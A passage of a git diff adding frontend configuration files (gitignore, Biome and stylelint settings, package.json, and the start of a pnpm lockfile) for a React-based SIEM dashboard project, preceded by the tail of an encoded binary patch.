zM-&GOpHlyQk5vmlRveXHe@`^SPfB^m$_jCl;>^|i^M*2#4T6cH1oyEoWQ@k7SPF)Q2Z(g_`zw&;fv0qCOaG0#s#8s>R z+yR%Y$E-5KA&M{`RF9FYt^Rvo&d1=VJ0JA9@m}~n_xGMj%8$Pg{Qvv}?nHBh*qm{P zTrVef?qgm&ba+HBV%mu6Wlkm2eKeNi*E57c7z(EqNh-UNtLA<<|iU3faBCu|6Vb z#FzuxvdqFJn3#V5@?_fTL^t}zFj0Q=s!a6E3q3hLQ&Empla9UsNB?XM6%*jaD1PPP`F{2jo6UAz2#J6yum^-+XItV0*VZtEKP5yS?c?< zvv1FBa*nEI;oDt0`OdgYSamwyWO12=hJr#X4C`8Bf~)sV)}2nZ;r7hS)EUMN-`tpM zTQfQzFCOh2Se)lwzMx+FQ$AL_>F)c}!^`C|^#yufo%7#MPI-weUvqYzzP31Ut0%p8 zzDrTeKF6xVK2fcphlclE+RXuNFG=qYp{$a%=bBU_gEHFRbVi0WR=qNLzHf0LrSjcq zjl?RfHcuxC3YYTIr_`2pX*%vpDGpgQ#vSzYs=3zrOO`>M88RVGxhlxI8B@q4tyJ+0rq>#AJ{`7RDmN(#|MvSp6(@0`%6eZpfw zm6!MIdR2ULQ)E$F#*ni~foh_P+5HEeEQ+OzGZLc*N-ZtnffBEwf8M0sHgf4p?VAi1 zo85LN;j40cEd_=23bHT;-LRPwhANo)C%TlCbobYkQ6F`(E2Xg%T1dkEvHf*a+dwT{ zItb2hDe>{!hx9xdYhcVbf%)W(`=iZj_UK%{o;Fh|(ukomib{tKrYrnvawsW|8HFcX zzs3`PE&Rq&Ec?_Ns)V7K(9qNQqY@^MOJ*E(Qm^^we%_XPJ@c_!0!YACx?mX&I}lX6dIe+8%wyxggtl`uGu; zARF;HsrWnfakN@?Ii4E-$e^5KpOO3VV_C=^vew)(jOutf3*uJIv~SJZMd2c;)8Zz* z|Ib6=JY`{uPMQzT?meTF43*uPCw3%aeh%m}(fk}`s{qhx+51!AqJoptcj?;)pF2pD z{t&P%RdbXVIBEQ(z30PN--8D~wop)n0XRF*?uC=tnH=)tO24QY|b<{ zZcm2wS<~|)r=|yEYhK|DT6LFfk?3c^>a!nx8Ga1sX>`Tot`+@R*r&>W?^FMKUdomH z6J!4GBH@1zSa(*3t$*l&(|q6dL`|#a3lxQNnq^dZLlZnn9}pqDA2%KQbF9aVty`J* z)i$^1hK6hr&UVo)HJh5rs*>LSKv33eXi(zC6RWJFpH(;9^R^1=C}Qr+qN4bJrXuq9 zz!6YJS;lO?tARThsBC|R2Lr>71s8#W6LLh?KLR#ScE+r$S*eDoY_-~K5+$a|U(5z<}}uc3t+p*XCdn?LPYAtm)|#BVa4%Xi}h~fJ^?m&eKmX zGcYWfRVvTKz;H>|s`!C%<*E%b%PjhmX93HDOTGJm8EwvbaK!~|eMre{`R&&^vHYQ0 zm1uv;WKij>|JsfPXhJlwGMuoS>vUpQsu%-Y0Zr4C0XK0Vvbo`J!kDDo>XrSVj%RqYJ8bl$%S zIL~$Rvkh>mw`)EykS<3A2T!&+e;K$abCLPg9#E1?+4P2e)yLEPT&+&vhEZJ*Xo(oG zI}2=)0Jq0n10EIhMGxrGStnAAvT|~!Jg>B>`jYYG*$q(2^ysVl${Z-_ET`fO>>&aV z&oBY5g)}ucKmEPdvQKy~a0%~>q(q5T5jv~(1J99=wFYIfNek!wbr5l$#{#_KIppqq z1)$kgpgM{{`A6AWc%yk*%Ix%+syClSrg?6woEAALcU~$zg)ZvMz9Lc>8xCBx|EYF% z_neyh;byZ`Sqm70kO~ARO)xeR&U4IOfrBe(;H=mi5^I2!J%59)Q zC(X_qd2c#PS0Vjbh~m7>-3}b03?3#}IuyWi5_{<>{CD4XM10o$bX*vqVZSC4-sIM@ zn+(jTK!B@*3zj6OGy`=sVy>rU4`BF#W2`&v=8|O{uXkl-WK4Mf`{L}RkG1hPbFMvM z_rQ}$VJYg$ZnN1}rf5#}0(Q1`$#jRF;~*kIEuXj5GCa04G-BhVBG4EGut*1jh9jT( z$CY*mR+O`l_p5BZ-cfZ7b|K7c}yMVO}5KQ0_-5(&_*Eq%9 z^~t;W)vdkp>;Gn&heL}9pKUXBjlaya4$r!}zXUksw{xEMaorOiZ7kQRU;o<1Zr7)N z|Lc@OnbfBzu76md{&?yW_C_1?D_x?WuU0;dfu;M&FXz9DT4?%zn^)g+tr9=&l9<*a zQLA}Ql~VsoWc~YUcJ`^SbnLUK^i#NBI3;w2kA&9aDNn3bfBGq$=ahswq;1>L;w}Fg zLuc(TnaA{ei_FdX(UgE=*-|FOs#qm$Y-{(xOfC zLmtE`d7hf{SABWFrJ0+Sq|FW6?3cZd&l70cf^Qqbr|+tUx$Mg2Q}uBxO#j#I^!nwI zsL|@E;oi5Wt@YG%`^7Pry)6AE%UE)mDgaB!w!_~!Mf)mkKL22xJ8QE;``pxD?i)H_ z0}y*l?(K5O-gjrAf=qxw8&^}nr<$`fH%1kwtqs)M{osx5>Gjtv?Zfwd)jnImpYgw| zK6K;Gi7>skI(y6JUAto)zqG&sIP4(8_Q`njmV|q3u}0-{pLlSwpZgbW`hWL#?*E2W eH78HX{<075`q0hG#WxX@ialNZT-G@yGywqTg+K8C literal 0 HcmV?d00001 diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/.gitignore b/PROJECTS/intermediate/siem-dashboard/frontend/.gitignore new file mode 100644 index 00000000..20eb4a30 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/.gitignore @@ -0,0 +1,18 @@ +# ©AngelaMos | 2026 +# .gitignore + +.env +__pycache__/ +*.pyc +.venv/ +*.egg-info/ +dist/ +build/ +.mypy_cache/ +.ruff_cache/ +.pytest_cache/ +node_modules/ +frontend/dist/ +.DS_Store +/frontend/.pnpm-store +.pnpm-store diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/.stylelintignore b/PROJECTS/intermediate/siem-dashboard/frontend/.stylelintignore new file mode 100755 index 00000000..37da03e1 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/.stylelintignore @@ -0,0 +1,22 @@ +# ©AngelaMos | 2025 +# .stylelintignore + +# Dependencies +node_modules/ + +# Production builds +dist/ +build/ +out/ + +# JS/TS files +**/*.js +**/*.jsx +**/*.ts +**/*.tsx + +# Generated files +*.min.css + +# Error system styles - ignore from linting +src/core/app/_toastStyles.scss diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/biome.json b/PROJECTS/intermediate/siem-dashboard/frontend/biome.json new file mode 100644 index 00000000..4ef9f83c --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/biome.json @@ -0,0 +1,94 @@ +{ + "$schema": "https://biomejs.dev/schemas/2.3.14/schema.json", + "vcs": { + "enabled": true, + "clientKind": "git", + "useIgnoreFile": true + }, + "files": { + "includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"] + }, + "formatter": { + "enabled": true, + "indentStyle": "space", + "indentWidth": 2, + "lineWidth": 82, + "lineEnding": "lf" + }, + "javascript": { + "formatter": { + "quoteStyle": "single", + "jsxQuoteStyle": "double", + "semicolons": "asNeeded", + "trailingCommas": "es5", + "arrowParentheses": "always" + } + }, + "linter": { + "enabled": true, + "rules": { + "recommended": true, + "complexity": { + "noExcessiveCognitiveComplexity": { + "level": "error", + "options": { "maxAllowedComplexity": 25 } + }, + "noForEach": "off", + "useLiteralKeys": "off" + }, + "correctness": { + "noUnusedVariables": "error", + "noUnusedImports": "error", + "useExhaustiveDependencies": "warn", + "useHookAtTopLevel": "error", + "noUndeclaredVariables": "error" + }, + "style": { + "useImportType": "error", + "useConst": "error", + "useTemplate": "error", + "useSelfClosingElements": "error", + "useFragmentSyntax": "error", + "noNonNullAssertion": "error", + "useConsistentArrayType": { + "level": "error", + "options": { "syntax": "shorthand" } + }, + "useNamingConvention": "off" + }, + "suspicious": { + "noExplicitAny": "error", + "noDebugger": "error", + "noConsole": "warn", + "noArrayIndexKey": "off", + "noAssignInExpressions": "error", + "noDoubleEquals": "error", + "noRedeclare": "error", + "noVar": "error" + }, + "security": { + "noDangerouslySetInnerHtml": "error" + }, + "a11y": { + "useAltText": "error", + "useAnchorContent": "error", + "useKeyWithClickEvents": "error", + "noStaticElementInteractions": "error", + "useButtonType": "error", + "useValidAnchor": "error" + } + } + }, + "overrides": [ + { + "includes": ["src/main.tsx"], + "linter": { + "rules": { + "style": { + "noNonNullAssertion": "off" + } + } + } + } + ] +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/index.html b/PROJECTS/intermediate/siem-dashboard/frontend/index.html new file mode 100644 index 00000000..b72fc024 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/index.html @@ -0,0 +1,48 @@ + + + + + + + + + + + SIEM Dashboard + + + + +

    + + + diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/package.json b/PROJECTS/intermediate/siem-dashboard/frontend/package.json new file mode 100644 index 00000000..ab5689ff --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/package.json @@ -0,0 +1,61 @@ +{ + "name": "siem-dashboard", + "private": true, + "version": "1.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "preview": "vite preview", + "lint": "biome check .", + "lint:fix": "biome check --write .", + "format": "biome format --write .", + "typecheck": "tsc -b", + "lint:scss": "stylelint '**/*.scss'", + "lint:scss:fix": "stylelint '**/*.scss' --fix" + }, + "dependencies": { + "@tanstack/react-query": "^5.90.20", + "@visx/curve": "^3.12.0", + "@visx/group": "^3.12.0", + "@visx/responsive": "^3.12.0", + "@visx/shape": "^3.12.0", + "@visx/xychart": "^3.12.0", + "axios": "^1.13.5", + "react": "^19.2.4", + "react-dom": "^19.2.4", + "react-error-boundary": "^6.1.0", + "react-icons": "^5.5.0", + "react-router-dom": "^7.13.0", + "sonner": "^2.0.7", + "zod": "^4.3.6", + "zustand": "^5.0.11" + }, + "devDependencies": { + "@biomejs/biome": "^2.3.14", + "@biomejs/cli-linux-x64": "^2.3.14", + "@tanstack/react-query-devtools": "^5.91.3", + "@types/node": "^25.2.2", + "@types/react": "^19.2.13", + "@types/react-dom": "^19.2.3", + "@vitejs/plugin-react": "^5.1.3", + "sass": "^1.97.3", + "stylelint": "^17.1.1", + "stylelint-config-prettier-scss": "^1.0.0", + "stylelint-config-standard-scss": "^17.0.0", + "typescript": "~5.9.3", + "vite": "npm:rolldown-vite@7.3.1", + "vite-tsconfig-paths": "^6.1.0" + }, + "pnpm": { + "overrides": { + "vite": "npm:rolldown-vite@7.2.5" + }, + "peerDependencyRules": { + "allowAny": [ + "react", + "react-dom" + ] + } + } +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/pnpm-lock.yaml b/PROJECTS/intermediate/siem-dashboard/frontend/pnpm-lock.yaml new file mode 100644 index 00000000..cc4ad94b --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/pnpm-lock.yaml @@ -0,0 +1,3253 @@ +lockfileVersion: '9.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +overrides: + vite: npm:rolldown-vite@7.2.5 + +importers: + + .: + dependencies: + '@tanstack/react-query': + specifier: ^5.90.20 + version: 5.90.20(react@19.2.4) + '@visx/curve': + specifier: ^3.12.0 + version: 3.12.0 + '@visx/group': + specifier: ^3.12.0 + version: 3.12.0(react@19.2.4) + '@visx/responsive': + specifier: ^3.12.0 + version: 3.12.0(react@19.2.4) + '@visx/shape': + specifier: ^3.12.0 + version: 3.12.0(react@19.2.4) + '@visx/xychart': + specifier: ^3.12.0 + version: 3.12.0(@react-spring/web@9.7.5(react-dom@19.2.4(react@19.2.4))(react@19.2.4))(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + axios: + specifier: ^1.13.5 + version: 1.13.5 + react: + specifier: ^19.2.4 + version: 19.2.4 + react-dom: + specifier: ^19.2.4 + version: 19.2.4(react@19.2.4) + react-error-boundary: + specifier: ^6.1.0 + version: 6.1.0(react@19.2.4) + react-icons: + specifier: ^5.5.0 + version: 5.5.0(react@19.2.4) + react-router-dom: + specifier: ^7.13.0 + version: 7.13.0(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + sonner: + specifier: ^2.0.7 + version: 2.0.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + zod: + specifier: ^4.3.6 + version: 4.3.6 + zustand: + specifier: ^5.0.11 + version: 5.0.11(@types/react@19.2.13)(react@19.2.4) + devDependencies: + '@biomejs/biome': + specifier: ^2.3.14 + version: 2.3.14 + '@biomejs/cli-linux-x64': + specifier: ^2.3.14 + version: 2.3.14 + '@tanstack/react-query-devtools': + specifier: ^5.91.3 + version: 5.91.3(@tanstack/react-query@5.90.20(react@19.2.4))(react@19.2.4) + '@types/node': + specifier: ^25.2.2 + version: 25.2.2 + '@types/react': + specifier: ^19.2.13 + version: 19.2.13 + '@types/react-dom': + specifier: ^19.2.3 + version: 19.2.3(@types/react@19.2.13) + '@vitejs/plugin-react': + specifier: ^5.1.3 + version: 5.1.3(rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3)) + sass: + specifier: ^1.97.3 + version: 1.97.3 + stylelint: + specifier: ^17.1.1 + version: 17.1.1(typescript@5.9.3) + stylelint-config-prettier-scss: + specifier: ^1.0.0 + version: 1.0.0(stylelint@17.1.1(typescript@5.9.3)) + stylelint-config-standard-scss: + specifier: ^17.0.0 + version: 17.0.0(postcss@8.5.6)(stylelint@17.1.1(typescript@5.9.3)) + typescript: + specifier: ~5.9.3 + version: 5.9.3 + vite: + specifier: npm:rolldown-vite@7.2.5 + version: rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3) + vite-tsconfig-paths: + specifier: ^6.1.0 + version: 6.1.0(rolldown-vite@7.2.5(@types/node@25.2.2)(sass@1.97.3))(typescript@5.9.3) + +packages: + + '@babel/code-frame@7.29.0': + resolution: {integrity: sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==} + engines: {node: '>=6.9.0'} + + '@babel/compat-data@7.29.0': + resolution: {integrity: sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==} + engines: {node: '>=6.9.0'} + + '@babel/core@7.29.0': + resolution: {integrity: sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==} + engines: {node: '>=6.9.0'} + + '@babel/generator@7.29.1': + resolution: {integrity: sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-compilation-targets@7.28.6': + resolution: {integrity: sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-globals@7.28.0': + resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-imports@7.28.6': + resolution: {integrity: sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==} + engines: {node: '>=6.9.0'} + + '@babel/helper-module-transforms@7.28.6': + resolution: {integrity: sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + + '@babel/helper-plugin-utils@7.28.6': + resolution: {integrity: sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==} + engines: {node: '>=6.9.0'} + + '@babel/helper-string-parser@7.27.1': + resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-identifier@7.28.5': + resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} + engines: {node: '>=6.9.0'} + + '@babel/helper-validator-option@7.27.1': + resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} + engines: {node: '>=6.9.0'} + + '@babel/helpers@7.28.6': + resolution: {integrity: sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==} + engines: {node: '>=6.9.0'} + + '@babel/parser@7.29.0': + resolution: {integrity: sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==} + engines: {node: '>=6.0.0'} + hasBin: true + + '@babel/plugin-transform-react-jsx-self@7.27.1': + resolution: {integrity: sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/plugin-transform-react-jsx-source@7.27.1': + resolution: {integrity: sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/template@7.28.6': + resolution: {integrity: sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==} + engines: {node: '>=6.9.0'} + + '@babel/traverse@7.29.0': + resolution: {integrity: sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==} + engines: {node: '>=6.9.0'} + + '@babel/types@7.29.0': + resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} + engines: {node: '>=6.9.0'} + + '@biomejs/biome@2.3.14': + resolution: {integrity: sha512-QMT6QviX0WqXJCaiqVMiBUCr5WRQ1iFSjvOLoTk6auKukJMvnMzWucXpwZB0e8F00/1/BsS9DzcKgWH+CLqVuA==} + engines: {node: '>=14.21.3'} + hasBin: true + + '@biomejs/cli-darwin-arm64@2.3.14': + resolution: {integrity: sha512-UJGPpvWJMkLxSRtpCAKfKh41Q4JJXisvxZL8ChN1eNW3m/WlPFJ6EFDCE7YfUb4XS8ZFi3C1dFpxUJ0Ety5n+A==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [darwin] + + '@biomejs/cli-darwin-x64@2.3.14': + resolution: {integrity: sha512-PNkLNQG6RLo8lG7QoWe/hhnMxJIt1tEimoXpGQjwS/dkdNiKBLPv4RpeQl8o3s1OKI3ZOR5XPiYtmbGGHAOnLA==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [darwin] + + '@biomejs/cli-linux-arm64-musl@2.3.14': + resolution: {integrity: sha512-LInRbXhYujtL3sH2TMCH/UBwJZsoGwfQjBrMfl84CD4hL/41C/EU5mldqf1yoFpsI0iPWuU83U+nB2TUUypWeg==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@biomejs/cli-linux-arm64@2.3.14': + resolution: {integrity: sha512-KT67FKfzIw6DNnUNdYlBg+eU24Go3n75GWK6NwU4+yJmDYFe9i/MjiI+U/iEzKvo0g7G7MZqoyrhIYuND2w8QQ==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@biomejs/cli-linux-x64-musl@2.3.14': + resolution: {integrity: sha512-KQU7EkbBBuHPW3/rAcoiVmhlPtDSGOGRPv9js7qJVpYTzjQmVR+C9Rfcz+ti8YCH+zT1J52tuBybtP4IodjxZQ==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [linux] + libc: [musl] + + '@biomejs/cli-linux-x64@2.3.14': + resolution: {integrity: sha512-ZsZzQsl9U+wxFrGGS4f6UxREUlgHwmEfu1IrXlgNFrNnd5Th6lIJr8KmSzu/+meSa9f4rzFrbEW9LBBA6ScoMA==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [linux] + + '@biomejs/cli-win32-arm64@2.3.14': + resolution: {integrity: sha512-+IKYkj/pUBbnRf1G1+RlyA3LWiDgra1xpS7H2g4BuOzzRbRB+hmlw0yFsLprHhbbt7jUzbzAbAjK/Pn0FDnh1A==} + engines: {node: '>=14.21.3'} + cpu: [arm64] + os: [win32] + + '@biomejs/cli-win32-x64@2.3.14': + resolution: {integrity: sha512-oizCjdyQ3WJEswpb3Chdngeat56rIdSYK12JI3iI11Mt5T5EXcZ7WLuowzEaFPNJ3zmOQFliMN8QY1Pi+qsfdQ==} + engines: {node: '>=14.21.3'} + cpu: [x64] + os: [win32] + + '@cacheable/memory@2.0.7': + resolution: {integrity: sha512-RbxnxAMf89Tp1dLhXMS7ceft/PGsDl1Ip7T20z5nZ+pwIAsQ1p2izPjVG69oCLv/jfQ7HDPHTWK0c9rcAWXN3A==} + + '@cacheable/utils@2.3.4': + resolution: {integrity: sha512-knwKUJEYgIfwShABS1BX6JyJJTglAFcEU7EXqzTdiGCXur4voqkiJkdgZIQtWNFhynzDWERcTYv/sETMu3uJWA==} + + '@csstools/css-parser-algorithms@4.0.0': + resolution: {integrity: sha512-+B87qS7fIG3L5h3qwJ/IFbjoVoOe/bpOdh9hAjXbvx0o8ImEmUsGXN0inFOnk2ChCFgqkkGFQ+TpM5rbhkKe4w==} + engines: {node: '>=20.19.0'} + peerDependencies: + '@csstools/css-tokenizer': ^4.0.0 + + '@csstools/css-syntax-patches-for-csstree@1.0.26': + resolution: {integrity: sha512-6boXK0KkzT5u5xOgF6TKB+CLq9SOpEGmkZw0g5n9/7yg85wab3UzSxB8TxhLJ31L4SGJ6BCFRw/iftTha1CJXA==} + + '@csstools/css-tokenizer@4.0.0': + resolution: {integrity: sha512-QxULHAm7cNu72w97JUNCBFODFaXpbDg+dP8b/oWFAZ2MTRppA3U00Y2L1HqaS4J6yBqxwa/Y3nMBaxVKbB/NsA==} + engines: {node: '>=20.19.0'} + + '@csstools/media-query-list-parser@5.0.0': + resolution: {integrity: sha512-T9lXmZOfnam3eMERPsszjY5NK0jX8RmThmmm99FZ8b7z8yMaFZWKwLWGZuTwdO3ddRY5fy13GmmEYZXB4I98Eg==} + engines: {node: '>=20.19.0'} + peerDependencies: + '@csstools/css-parser-algorithms': ^4.0.0 + '@csstools/css-tokenizer': ^4.0.0 + + '@csstools/selector-resolve-nested@4.0.0': + resolution: {integrity: sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA==} + engines: {node: '>=20.19.0'} + peerDependencies: + postcss-selector-parser: ^7.1.1 + + '@csstools/selector-specificity@6.0.0': + resolution: {integrity: sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA==} + engines: {node: '>=20.19.0'} + peerDependencies: + postcss-selector-parser: ^7.1.1 + + '@emnapi/core@1.8.1': + resolution: {integrity: sha512-AvT9QFpxK0Zd8J0jopedNm+w/2fIzvtPKPjqyw9jwvBaReTTqPBk9Hixaz7KbjimP+QNz605/XnjFcDAL2pqBg==} + + '@emnapi/runtime@1.8.1': + resolution: {integrity: sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg==} + + '@emnapi/wasi-threads@1.1.0': + resolution: {integrity: sha512-WI0DdZ8xFSbgMjR1sFsKABJ/C5OnRrjT06JXbZKexJGrDuPTzZdDYfFlsgcCXCyf+suG5QU2e/y1Wo2V/OapLQ==} + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@keyv/bigmap@1.3.1': + resolution: {integrity: sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==} + engines: {node: '>= 18'} + peerDependencies: + keyv: ^5.6.0 + + '@keyv/serialize@1.1.1': + resolution: {integrity: sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==} + + '@napi-rs/wasm-runtime@1.1.1': + resolution: {integrity: sha512-p64ah1M1ld8xjWv3qbvFwHiFVWrq1yFvV4f7w+mzaqiR4IlSgkqhcRdHwsGgomwzBH51sRY4NEowLxnaBjcW/A==} + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@oxc-project/runtime@0.97.0': + resolution: {integrity: sha512-yH0zw7z+jEws4dZ4IUKoix5Lh3yhqIJWF9Dc8PWvhpo7U7O+lJrv7ZZL4BeRO0la8LBQFwcCewtLBnVV7hPe/w==} + engines: {node: ^20.19.0 || >=22.12.0} + + '@oxc-project/types@0.97.0': + resolution: {integrity: sha512-lxmZK4xFrdvU0yZiDwgVQTCvh2gHWBJCBk5ALsrtsBWhs0uDIi+FTOnXRQeQfs304imdvTdaakT/lqwQ8hkOXQ==} + + '@parcel/watcher-android-arm64@2.5.6': + resolution: {integrity: sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [android] + + '@parcel/watcher-darwin-arm64@2.5.6': + resolution: {integrity: sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [darwin] + + '@parcel/watcher-darwin-x64@2.5.6': + resolution: {integrity: sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [darwin] + + '@parcel/watcher-freebsd-x64@2.5.6': + resolution: {integrity: sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [freebsd] + + '@parcel/watcher-linux-arm-glibc@2.5.6': + resolution: {integrity: 